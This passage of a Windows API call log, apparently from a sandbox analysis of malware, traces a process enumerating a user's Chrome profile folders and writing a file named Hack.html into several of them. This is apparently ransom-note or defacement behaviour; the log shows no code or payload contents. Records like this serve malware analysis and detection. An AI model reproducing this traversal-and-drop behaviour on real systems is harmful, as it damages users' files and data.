[0072.056] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0072.056] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0072.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0072.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0072.056] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google", lpFilePart=0x0) returned 0x32 [0072.056] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\", lpFilePart=0x0) returned 0x33 [0072.056] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a1a8 [0072.056] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0072.057] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0072.057] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0072.057] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0072.057] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0072.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0072.057] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0072.057] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome", lpFilePart=0x0) returned 0x39 [0072.057] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\", lpFilePart=0x0) returned 0x3a [0072.057] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1a8 [0072.058] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0072.058] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0072.058] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0072.058] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0072.058] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome", lpFilePart=0x0) returned 0x39 [0072.058] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\", lpFilePart=0x0) returned 0x3a [0072.058] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1a8 [0072.059] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0072.059] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0072.059] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0072.059] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.059] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data", lpFilePart=0x0) returned 0x43 [0072.059] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\", lpFilePart=0x0) returned 0x44 [0072.059] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1a8 [0072.065] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0072.065] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0072.066] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0072.066] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0072.066] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0072.066] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0072.066] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0072.066] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0072.066] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0072.067] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0072.067] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0072.067] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0072.067] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0072.067] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0072.067] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0072.067] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0072.067] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0072.068] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0072.068] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0072.068] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.069] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data", lpFilePart=0x0) returned 0x43 [0072.069] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\", lpFilePart=0x0) returned 0x44 [0072.069] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1a8 [0072.070] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0072.070] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0072.070] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0072.071] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0072.071] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0072.071] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0072.071] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0072.071] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0072.071] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0072.071] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0072.071] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0072.072] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0072.072] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0072.072] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0072.072] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0072.072] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0072.072] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0072.072] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0072.073] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0072.073] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.074] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency", lpFilePart=0x0) returned 0x5b [0072.074] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\", lpFilePart=0x0) returned 0x5c [0072.074] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a1a8 [0072.076] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.076] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0072.076] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.076] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency", lpFilePart=0x0) returned 0x5b [0072.076] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\", lpFilePart=0x0) returned 0x5c [0072.076] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a1a8 [0072.077] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.077] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0072.077] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.077] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\Hack.html", lpFilePart=0x0) returned 0x65 [0072.077] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\certificatetransparency\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.081] GetFileType (hFile=0x174) returned 0x1 [0072.081] GetFileType (hFile=0x174) returned 0x1 [0072.081] WriteFile (in: hFile=0x174, lpBuffer=0x270ebfc*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec2c, lpOverlapped=0x0 | out: lpBuffer=0x270ebfc*, lpNumberOfBytesWritten=0x39ec2c*=0xba, lpOverlapped=0x0) returned 1 [0072.082] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad", lpFilePart=0x0) returned 0x4c [0072.082] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\", lpFilePart=0x0) returned 0x4d [0072.083] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a1a8 [0072.084] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.084] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.084] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.084] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.084] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0072.084] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.085] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad", lpFilePart=0x0) returned 0x4c [0072.085] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\", lpFilePart=0x0) returned 0x4d [0072.085] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a1a8 [0072.085] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.085] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.085] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.085] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.086] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0072.086] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.086] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports", lpFilePart=0x0) returned 0x54 [0072.086] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\", lpFilePart=0x0) returned 0x55 [0072.086] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a1a8 [0072.086] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.087] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0072.087] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.087] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports", lpFilePart=0x0) returned 0x54 [0072.087] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\", lpFilePart=0x0) returned 0x55 [0072.087] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a1a8 [0072.087] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.087] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0072.087] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.088] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e688, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\Hack.html", lpFilePart=0x0) returned 0x5e [0072.088] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\reports\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.088] GetFileType (hFile=0x174) returned 0x1 [0072.088] GetFileType (hFile=0x174) returned 0x1 [0072.088] WriteFile (in: hFile=0x174, lpBuffer=0x27154a4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x27154a4*, lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0072.090] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\Hack.html", lpFilePart=0x0) returned 0x56 [0072.090] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.090] GetFileType (hFile=0x174) returned 0x1 [0072.090] GetFileType (hFile=0x174) returned 0x1 [0072.090] WriteFile (in: hFile=0x174, lpBuffer=0x2717d04*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec2c, lpOverlapped=0x0 | out: lpBuffer=0x2717d04*, lpNumberOfBytesWritten=0x39ec2c*=0xba, lpOverlapped=0x0) returned 1 [0072.092] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpFilePart=0x0) returned 0x4b [0072.092] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", lpFilePart=0x0) returned 0x4c [0072.092] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a1a8 [0072.096] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.098] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.098] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.098] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.098] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.098] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.098] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.098] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.098] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.098] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.098] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.098] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.099] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.099] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.099] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.099] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.099] FindNextFileW (in: hFindFile=0x59a1a8, 